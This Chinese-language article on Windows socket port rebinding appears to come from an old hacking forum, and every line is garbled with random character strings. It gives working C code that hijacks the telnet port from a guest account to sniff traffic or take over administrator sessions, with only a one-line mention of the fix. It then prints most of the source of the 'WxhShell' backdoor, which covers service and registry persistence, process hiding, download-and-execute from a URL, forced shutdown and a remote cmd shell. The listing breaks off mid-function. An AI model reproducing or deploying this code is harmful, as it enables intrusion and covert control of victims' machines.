在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
mBl7{w;Iv s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
z]#hWfM4B: n.$(}A saddr.sin_family = AF_INET;
X-Ycz 5? rY70^<z saddr.sin_addr.s_addr = htonl(INADDR_ANY);
:$H!@n*/R #s"B-sWE bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
}=@zj6AC RsSXhPk? 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
xPQL?. 0-xCp ~vE 这意味着什么?意味着可以进行如下的攻击:
J/Q|uRpmqr R2^iSl%pj 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
|-kEGLH[*V (([I]q 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
U6{dI@|B
f!g<3X{= 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
0=[0|`x `SOhG?Zo 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
iHz[Zw^.s DP>mNE 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
vjTwv+B" Es;;t83p 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
\3^Pjx Q4%IxR? 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
4
X`^{~ /yYlu #include
xH$%5@~ #include
T-P@u-DU #include
T
T"3^@ #include
8XbR DWORD WINAPI ClientThread(LPVOID lpParam);
2LhE]O(_" int main()
878tI3- {
h)o]TV WORD wVersionRequested;
u2lmwE DWORD ret;
37>MJ WSADATA wsaData;
H1Xov r BOOL val;
wo(j}O- SOCKADDR_IN saddr;
+89o`u_l% SOCKADDR_IN scaddr;
N1?
iiv int err;
D8/sz`N7Q SOCKET s;
4A~)b"j5 SOCKET sc;
T 46{*( int caddsize;
ZjD2u8e HANDLE mt;
@3 "DBJ DWORD tid;
%HEmi; wVersionRequested = MAKEWORD( 2, 2 );
`@$YlFOW err = WSAStartup( wVersionRequested, &wsaData );
Ihef$, if ( err != 0 ) {
+{ab1))/ printf("error!WSAStartup failed!\n");
#$u ZDQY_ return -1;
P1QB`&8F }
-A@U0=o saddr.sin_family = AF_INET;
[+DNM
2A 7ukDS] //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
CjZ6NAHc '#f?#( saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
~~dfpW _" saddr.sin_port = htons(23);
JS2!)aqc if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
{G.{ad {
6QptKXu7 printf("error!socket failed!\n");
y Hw!#gWM return -1;
bV7QVu8 }
6SAQDE val = TRUE;
[NR1d-Wg //SO_REUSEADDR选项就是可以实现端口重绑定的
}2xb&6g~o if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
~y%7w5%Un {
Ja=N@&Z# printf("error!setsockopt failed!\n");
*lq7t2 return -1;
Ib(,P3 }
-9Xw]I#QR //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
=0Y'f](2eW //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
<w11nB) //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
~$ WQ"~z qid1b
b if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
"2K|#,%N {
Px#4pmz ret=GetLastError();
Sh47c4{ printf("error!bind failed!\n");
m[#%/ return -1;
)XZ,bz*jn }
m-#d8sD2C listen(s,2);
]=pWZ~A while(1)
%w%zv2d {
,,2_/u\"/i caddsize = sizeof(scaddr);
L`bo#,eg6 //接受连接请求
qZc)Sa.S sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
Ot"(uW4$[ if(sc!=INVALID_SOCKET)
dK7 ^ {
CY\mU_.b mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
y7
<(,uT if(mt==NULL)
/^WE@r[: {
'|+=B u printf("Thread Creat Failed!\n");
.Px,=56$X break;
p!V)55J* }
@@xF#3 }
;WPI+`- CloseHandle(mt);
1 pYsjo~ }
th;]Vo closesocket(s);
*xho WSACleanup();
0MhxFoFO return 0;
pe|\'<>i }
akY6D]M DWORD WINAPI ClientThread(LPVOID lpParam)
-hm9sNox {
6UtG-WHHt SOCKET ss = (SOCKET)lpParam;
l9,w>]s SOCKET sc;
C(ZcR_+r$, unsigned char buf[4096];
&<OMGGQ[h SOCKADDR_IN saddr;
Kjvs@~6t long num;
K
oL%}u& DWORD val;
0c{Gr 0[> DWORD ret;
p@`4 Qz //如果是隐藏端口应用的话,可以在此处加一些判断
%hrsE5k^, //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
RH1U_gp4 ] saddr.sin_family = AF_INET;
KN|'|2/| saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
Zj5NWzj
X saddr.sin_port = htons(23);
pzYG?9cwz if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
!vi4*
@: {
)z|_*||WU^ printf("error!socket failed!\n");
J\9jsx!WQ return -1;
.|tQ=l@I }
iNMLYYq]l val = 100;
o<Ke3?J\ if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
8~rT {
.jy)>"h0 ret = GetLastError();
$::51#^Wg return -1;
y0lL Fe~ }
Z7ZWf'o if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
aj+zmk~- {
:
,|=Q} ret = GetLastError();
(u$!\fE-et return -1;
([E#zrz% }
4_Tb)?L+: if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
P[r}(@0rJ {
A89Y;_4y printf("error!socket connect failed!\n");
E%KC'TN^D closesocket(sc);
1"N/ZKF-x closesocket(ss);
30:HRF(: return -1;
hlt9x.e.A }
lb=2*dFJ1 while(1)
BD<rQ mfA^ {
k{!iDZr&f, //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
s$e K66H //如果是嗅探内容的话,可以再此处进行内容分析和记录
GXGN;,7EV //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
dICnB:SSB num = recv(ss,buf,4096,0);
)I^)*(} if(num>0)
9iiU,}M`j send(sc,buf,num,0);
w?*'vF_2:# else if(num==0)
|v,}%UN2 break;
$v2S;UB v* num = recv(sc,buf,4096,0);
%!1@aL]pQ if(num>0)
\Or]5ogT' send(ss,buf,num,0);
6uv'r;U] else if(num==0)
})Ix.!p break;
C8O7i[uc }
w/)e2CH closesocket(ss);
;w>Q{z closesocket(sc);
!^rITiy return 0 ;
gt(X!iN] }
:"h
Pg]' b*9m2=6 :C}KI) ==========================================================
$L $j
KNwf pRb+'v&_k 下边附上一个代码,,WXhSHELL
YLr%vnO*NS HQjxJd5P ==========================================================
]a&x' je$R\7B< #include "stdafx.h"
C{U[w^X !M#?kKj #include <stdio.h>
_oYA;O #include <string.h>
bUEt0wRR #include <windows.h>
LL6ON
} #include <winsock2.h>
)4 VLm #include <winsvc.h>
[U_Q 2<H #include <urlmon.h>
yAZ.L/jyr 8tG/VE[ #pragma comment (lib, "Ws2_32.lib")
e\+~ #pragma comment (lib, "urlmon.lib")
htNL2N @p?b"?QaB #define MAX_USER 100 // 最大客户端连接数
@9
qzn&A #define BUF_SOCK 200 // sock buffer
Q7OnhGA #define KEY_BUFF 255 // 输入 buffer
S:"z<O mUe@Dud #define REBOOT 0 // 重启
o%9Ua9|RR #define SHUTDOWN 1 // 关机
k1@
A'n 3tx0y #define DEF_PORT 5000 // 监听端口
!kjr>:)x v>yGsJnV' #define REG_LEN 16 // 注册表键长度
kfG 65aa>_ #define SVC_LEN 80 // NT服务名长度
[7ek;d;'t h|Teh-@A5 // 从dll定义API
;8
/+wBnm typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
+)''l typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
H_xQ>~b typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
.j]OO/, typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
d[qEP6B Z n"TG/: // wxhshell配置信息
vi()1LS/! struct WSCFG {
>V ]*mS%K int ws_port; // 监听端口
}(O D< char ws_passstr[REG_LEN]; // 口令
3HDnOl8t int ws_autoins; // 安装标记, 1=yes 0=no
`eA&C4oFOO char ws_regname[REG_LEN]; // 注册表键名
u:qD*zOq char ws_svcname[REG_LEN]; // 服务名
~L Bq5a char ws_svcdisp[SVC_LEN]; // 服务显示名
)e <! =S char ws_svcdesc[SVC_LEN]; // 服务描述信息
r5fz6" char ws_passmsg[SVC_LEN]; // 密码输入提示信息
:p*ojl| int ws_downexe; // 下载执行标记, 1=yes 0=no
bo?3E +B char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
]CtoK%k char ws_filenam[SVC_LEN]; // 下载后保存的文件名
d"e%tsj DftGy:Ah3 };
0wa!pE" Ot8S'cB1,$ // default Wxhshell configuration
!<UEq`2 struct WSCFG wscfg={DEF_PORT,
Z1MJ!{@6 "xuhuanlingzhe",
?AM8*w 1,
:w&)XI34 "Wxhshell",
S
&lTKYP "Wxhshell",
%I2xK.8= "WxhShell Service",
2 |kH% "Wrsky Windows CmdShell Service",
AcfkY m~ "Please Input Your Password: ",
X?k V1 1,
4q2=:"z4 "
http://www.wrsky.com/wxhshell.exe",
M}KM]< "Wxhshell.exe"
<^X'f };
8bKWIN g_n BafzQ' // 消息定义模块
<PuB3PEvV char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
=-s20mdj char *msg_ws_prompt="\n\r? for help\n\r#>";
f 7QUZb\ char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
TG%hy"k char *msg_ws_ext="\n\rExit.";
VTgbJ{? char *msg_ws_end="\n\rQuit.";
Ubos#hP char *msg_ws_boot="\n\rReboot...";
Xxsnpb> char *msg_ws_poff="\n\rShutdown...";
#Ot*jb1 char *msg_ws_down="\n\rSave to ";
o-e,
[C~)&2wh> char *msg_ws_err="\n\rErr!";
^Hhw(@`qf char *msg_ws_ok="\n\rOK!";
>cr_^(UW& ? 3E_KGI char ExeFile[MAX_PATH];
tX`[6` int nUser = 0;
ff5
Lwf{{ HANDLE handles[MAX_USER];
i4n%EDQ int OsIsNt;
4\eX=~C>: BC0c c[x SERVICE_STATUS serviceStatus;
6/WK((Fd SERVICE_STATUS_HANDLE hServiceStatusHandle;
RNrYT| ek.WuOs // 函数声明
aSj1P/A int Install(void);
hhgz=7Y int Uninstall(void);
qer'V int DownloadFile(char *sURL, SOCKET wsh);
J7xT6Q= int Boot(int flag);
!O -_Dp\# void HideProc(void);
A(@gv8e[H^ int GetOsVer(void);
<[B[ int Wxhshell(SOCKET wsl);
"VVR#H}{ void TalkWithClient(void *cs);
mEc;-b
f int CmdShell(SOCKET sock);
g KmRjK int StartFromService(void);
:R*^Izs= int StartWxhshell(LPSTR lpCmdLine);
UE$[;Zg !7a^8
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
'?>O
VOID WINAPI NTServiceHandler( DWORD fdwControl );
6Cv2>'{S R&|)y:bg| // 数据结构和表定义
u$@I/q,ou SERVICE_TABLE_ENTRY DispatchTable[] =
AqKx3p6 {
@7Rt[2"e {wscfg.ws_svcname, NTServiceMain},
kpreTeA] {NULL, NULL}
a):Run };
jvQ+u L pZJQKTCG // 自我安装
C.e|VzQa int Install(void)
%LZM5Z^ {
Xgth|C}k char svExeFile[MAX_PATH];
iYQy#kO HKEY key;
YU0HySP: strcpy(svExeFile,ExeFile);
'<W,-i a=T7w;\h // 如果是win9x系统,修改注册表设为自启动
0}7Rm> if(!OsIsNt) {
jl0Eg if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
~Z/ `W` RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
A=[f>8 RegCloseKey(key);
96E7hp !: if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
>@89k^#Vc RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
8\V>6^3CD$ RegCloseKey(key);
,4T$ return 0;
'e)ze^Jq }
yc4f\0B/ }
y#Sw>-zRq }
0B:{4Lsn& else {
r~!%w(N|M pmD-]0 // 如果是NT以上系统,安装为系统服务
#LyjJmQ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
*]| JX& if (schSCManager!=0)
T2PFE4+Dp {
a1sLRqo8 SC_HANDLE schService = CreateService
ue:P#] tx (
vKOn7 schSCManager,
6{r[ Dq wscfg.ws_svcname,
+PXfr~ 4 wscfg.ws_svcdisp,
86 /i~s SERVICE_ALL_ACCESS,
CZ%"Pqy&1L SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
whZ],R*u SERVICE_AUTO_START,
#2'&=?J1r SERVICE_ERROR_NORMAL,
N4(VRA svExeFile,
:yFCp@& NULL,
<mgTWv NULL,
WuZn|j' NULL,
_,1kcDu NULL,
\bl,_{z? NULL
*rKv`nva5 );
^^Q32XC, if (schService!=0)
e6xjlaKb {
~zC fan/ CloseServiceHandle(schService);
%f(.OR)6{ CloseServiceHandle(schSCManager);
|oi49:NXn strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
v6Wf7)d/1 strcat(svExeFile,wscfg.ws_svcname);
9@*>$6 if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
0bL=l0N$W RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
<=2*UD | RegCloseKey(key);
k*6eZ 7 return 0;
N$\5% }
Wv/5#_ }
ea}KxLC`, CloseServiceHandle(schSCManager);
;|1P1H-W~M }
R$m?&1K }
/,%o<Ql9 vjRD?kF return 1;
x(N}^Hu }
X.Y)'qSf R*G>)YH // 自我卸载
/Z_ [)PTH int Uninstall(void)
gm$MEeC {
Ijro;rsEKM HKEY key;
(lsod#wEMg 7TY"{?~O5 if(!OsIsNt) {
kV9NFo22 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
/j\TmcnU^ RegDeleteValue(key,wscfg.ws_regname);
v86`\K*0Y RegCloseKey(key);
{#Cm> @') if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
c0p=/*s( RegDeleteValue(key,wscfg.ws_regname);
SFNd,(kB*z RegCloseKey(key);
Z'm%3 return 0;
%--5bwZi }
4\WkXwoqQO }
-^Va]Lk }
<Py/uF| else {
*n?:)( iL'
]du<wk SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
leJd){ if (schSCManager!=0)
~mo` {
_JO @O^Ndd SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
> o`RPWs if (schService!=0)
@CUDD{1o {
+mv%z3"j; if(DeleteService(schService)!=0) {
b#j5fEY CloseServiceHandle(schService);
#T`+~tW'| CloseServiceHandle(schSCManager);
[M>_(u6 return 0;
[+7X&B }
[kkcV5I- CloseServiceHandle(schService);
n}kz&, }
M<pgaB0 CloseServiceHandle(schSCManager);
?y@pRe$2 }
'2{o_<m }
nE%qm - V7i`vo3Cc return 1;
}}R!Y) }
{0{$.L rrRC5h
// 从指定url下载文件
"evV/Fg( int DownloadFile(char *sURL, SOCKET wsh)
5LH ]B {
>9|+F[Fc HRESULT hr;
)Q?[_<1Y+ char seps[]= "/";
lI<8)42yq char *token;
kO"aE~ char *file;
-e\56%\~_ char myURL[MAX_PATH];
Vk
T3_f char myFILE[MAX_PATH];
ZA@"uqa 6b '2oBi6|X strcpy(myURL,sURL);
vLS6Gb't token=strtok(myURL,seps);
zH4#\d while(token!=NULL)
&>t1A5 {
Xxw.{2Ji!q file=token;
:\RB ^3; token=strtok(NULL,seps);
V@f#/"u' }
P .( X]+ Us.jyg7_c GetCurrentDirectory(MAX_PATH,myFILE);
1Xc%%j strcat(myFILE, "\\");
ghiElsBU strcat(myFILE, file);
:gv#_[k send(wsh,myFILE,strlen(myFILE),0);
8G<.5!f7`N send(wsh,"...",3,0);
nJC}wh2d# hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
b7mP~]V if(hr==S_OK)
&T}e93] return 0;
}$U6lh/Ep else
=p$ Wo return 1;
1t'\! "rJL ^ \r }
4ebGAg ?_ xy>mM"DOH // 系统电源模块
_;W|iUreb int Boot(int flag)
}qPo%T {
8^T$6A[b HANDLE hToken;
{eV_+@dT TOKEN_PRIVILEGES tkp;
;oE4, Lq^/Z4L if(OsIsNt) {
1]~}0;, OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
a}\JA`5;)Z LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
p {3|W< tkp.PrivilegeCount = 1;
N%yFL tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
en)DN3 AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
b
L~<~gA if(flag==REBOOT) {
eyV904<F if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
.jw)e!<\N return 0;
=Y0m;-1M }
MvFXVCT# else {
RR|Eqm3) if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
i|Wn*~yFOO return 0;
RJM(+5xQ| }
/2 N%Z }
eKOTxv{ else {
mH"`46 if(flag==REBOOT) {
kEh# 0 if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
H++rwVwj#h return 0;
<Jz>e}*) }
XMdYted else {
6D<A@DR9J if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
!$HWUxM;p return 0;
jL<.?HE }
X(9Ff=0.~ }
KNhH4K2iP8 {ar}.U return 1;
ptcU_*Gd }
xB#E&}Ho cAS5&T< // win9x进程隐藏模块
HS7!O void HideProc(void)
8:bNFgJD {
hV)I
C9 WjB[e> HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
CgWj9 [ if ( hKernel != NULL )
FKP^f\!M {
qsp,Usu/ pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
F)G#\r ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
"7DPsPs FreeLibrary(hKernel);
>J1o@0tk }
?W(f%/B# tznT*EQr return;
RfD$@q9 }
Y~6pJNR gE&f}M- // 获取操作系统版本
E:ytdaiT int GetOsVer(void)
`}bUf epMJ {
?l/rg6mbI' OSVERSIONINFO winfo;
x?kZD~|{) winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
uH#NJoRO GetVersionEx(&winfo);
KME
#5=~ if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
;S7xJ'H return 1;
ntT|G0E else
Q.Acmht# return 0;
T-\,r }
x9=lN^/4 -:QyWw/d // 客户端句柄模块
`#V"@Go int Wxhshell(SOCKET wsl)
*VUXw@ {
<KpQu%2( SOCKET wsh;
*=8)]_=f struct sockaddr_in client;
+2?[=g4;} DWORD myID;
?/\;K1c p C"}x=cK while(nUser<MAX_USER)
xl3U {
!l~hO int nSize=sizeof(client);
z} %to0W wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
8Xr3q eh+ if(wsh==INVALID_SOCKET) return 1;
K;95M^C\O* ;u%h wlo handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
#%5>}$ if(handles[nUser]==0)
sM-*[Q=_ closesocket(wsh);
MG6Tk(3S else
\yqiv"' nUser++;
|lv4X}H }
>@X=E3 WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
1;h>^NOq l@Ki`if return 0;
YW5E
| z }
gSC@uf Pzqgg43Xf // 关闭 socket
Z`W.(gua void CloseIt(SOCKET wsh)
;KhYh S(q {
-nW{$&5AF closesocket(wsh);
lbPxZ'YO# nUser--;
TcC=_je460 ExitThread(0);
9#p^Z)[)- }
@ZVc!5J_, %/s1ma6q // 客户端请求句柄
H\^^p!^) void TalkWithClient(void *cs)
H|^4e {
..!yf e"5 LV[4z o]= SOCKET wsh=(SOCKET)cs;
\bg^E>- char pwd[SVC_LEN];
%tMfOW char cmd[KEY_BUFF];
Hq~ 2,#Ue char chr[1];
L*_xu _F int i,j;
>
+SEze eZv0"FK
X while (nUser < MAX_USER) {
[ /D/ Kq*^*vWC if(wscfg.ws_passstr) {
aH6pys!O if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
Mf
*qr9* //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
c]9OP9F //ZeroMemory(pwd,KEY_BUFF);
kO4C^pl"v i=0;
4
qnQF]4 while(i<SVC_LEN) {
]u:NE'0Xy VKlD"UTk // 设置超时
IJ0RHDod: fd_set FdRead;
_+{s^n= struct timeval TimeOut;
ql8:s>1T FD_ZERO(&FdRead);
s(dox; d FD_SET(wsh,&FdRead);
G$Dg*< TimeOut.tv_sec=8;
+X< Z
43 TimeOut.tv_usec=0;
}"T:z{n int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
a-W&/ if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
2vwT8/ ZpdM[\Q- if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
/; _"A)0 pwd
=chr[0]; !>+
0/
if(chr[0]==0xd || chr[0]==0xa) { e0qa~5
pwd=0; :sn}D~
break; `SVR_
} /v8qT'$^
i++; 6e*JCf>
} Y,a.9AWw)
@.5Ybgn
// 如果是非法用户,关闭 socket C/E3NL8
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); H1w;Wb1se
} +V) (,f1
4b#YpK$7U
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); }A#FGH+
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); >?kt3.IQ!X
qjWgyhL
while(1) { ^8 z*f&g
*)w
8fq
ZeroMemory(cmd,KEY_BUFF); J:>TV.TP
xS.0u"[
// 自动支持客户端 telnet标准 u/MIB`@,
j=0; * T-XslI
while(j<KEY_BUFF) { 4uv }6&R
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); &O'yhAP] j
cmd[j]=chr[0]; iCHZ{<k
if(chr[0]==0xa || chr[0]==0xd) { #*~ (
cmd[j]=0; .1}u0IbJ
break; \!%3giD5!
} /eE P^)h
j++; QCjmg5bf'7
} CN >q`[!
`*slQ}i
// 下载文件 t;*'p
if(strstr(cmd,"http://")) { cB<Zez
send(wsh,msg_ws_down,strlen(msg_ws_down),0); gt
?&!S^
if(DownloadFile(cmd,wsh)) T.xW|Iwx
send(wsh,msg_ws_err,strlen(msg_ws_err),0); CzK
X}
else rF5<x3
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); UeVF@rw
} 1
4|S^UM$
else { ZHZ>YSqCS
)JjfPb64
switch(cmd[0]) { z`BRz&
Fb_~{q
// 帮助 XnNK)dUT}
case '?': { P}PSS#nn
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); I5e!vCG)
break; ^c2 8Q.<w(
} ]s<Q-/X
// 安装 aH:eu<s
case 'i': { ?{FxbDp>
if(Install()) %~eZrG.
send(wsh,msg_ws_err,strlen(msg_ws_err),0); CocvEoE*z
else E1>3 [3
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ~r{Nc j
break; u%T.XgY=j
} s_]rje8`
// 卸载 F'"-4YV>&
case 'r': { bkY7]'.bz&
if(Uninstall()) z*R"917
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?=\h/C
else 0/%zXp&m
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Sy8Og] a
break; )Ev [o#y
} {u!,TDt*
// 显示 wxhshell 所在路径 g'I S8@
case 'p': { *"E]^wCn
char svExeFile[MAX_PATH]; is6JS^Q
strcpy(svExeFile,"\n\r"); ZJx:?*0a
strcat(svExeFile,ExeFile); Q8P;AN_JS
send(wsh,svExeFile,strlen(svExeFile),0); 2.|Y
break; *z(.D\{%
} 3Y=S^*ztd
// 重启 Obw uyhjQ
case 'b': { =]D##R
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ';
qT
if(Boot(REBOOT)) Hv%a\WNS1
send(wsh,msg_ws_err,strlen(msg_ws_err),0); & MAIm56~
else { iA:CPBv_mu
closesocket(wsh); H
kg0;)
ExitThread(0); W}EO]A%f.\
} $u` ;{8
break; YT-t$QyL
} 63at
lq
// 关机 8]0R[kjD
case 'd': { ,CCIg9Pt
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); M#:Mwa$
if(Boot(SHUTDOWN)) 3fGy
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?.4u'Dkn=
else { 9m#`56G`
closesocket(wsh); `]fY9ZDKs
ExitThread(0); :@pmgp
} s(zG.7*3n
break; Yc9 M6=E^
} ;ymUMQ%;/
// 获取shell h'N,oDB)
case 's': { ]o_ Ps|
CmdShell(wsh); ]A_)&`"Cb
closesocket(wsh); D L$P
ExitThread(0); ."MBKyg6
break; ]qrO"X=
} )[/+j"F
// 退出 ov?>ALRg
case 'x': { -]N/P{=L
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); $biCm$a
CloseIt(wsh); vuD tEz
break; "--rz;+K
} Ar>-xCTD
// 离开 6 Iup4sP
case 'q': { d,$[633It}
send(wsh,msg_ws_end,strlen(msg_ws_end),0); Vls*fY:W
closesocket(wsh); Um*{~=;u
WSACleanup(); M34*$>bk
exit(1); /Cwt4.5
break; >bmL;)mc&
}
l_$~~z ~
} Iy"
} z<)?8tAgq
TG'A'wXxy
// 提示信息 ;Ni+TS
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); b`1P%OjC
} h v9s
} E4WoKuE1$
lS}5bcjR=k
return; UP#]n
69y
} {N>VK*
{X8F4
// shell模块句柄
4F/Q0"
int CmdShell(SOCKET sock) "&7v.-Yk(
{ pnVtjWrbG
STARTUPINFO si; IspY%UMl
ZeroMemory(&si,sizeof(si)); #K
]k
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; /EWF0XV!
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; #OG_OI
PROCESS_INFORMATION ProcessInfo; 1!,lI?j,
char cmdline[]="cmd"; HSyohP8 7
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 84|Hn|4t
return 0; D
@T,j4o
} #Mi>f4T;
\Q]2Zq
// 自身启动模式 1 aIJ0#nE
int StartFromService(void) TVYO`9:CW
{ ?. CA9!|
typedef struct +|\dVe.
{ 1)M3*h3
DWORD ExitStatus; L{osh0
DWORD PebBaseAddress; sexnO^s
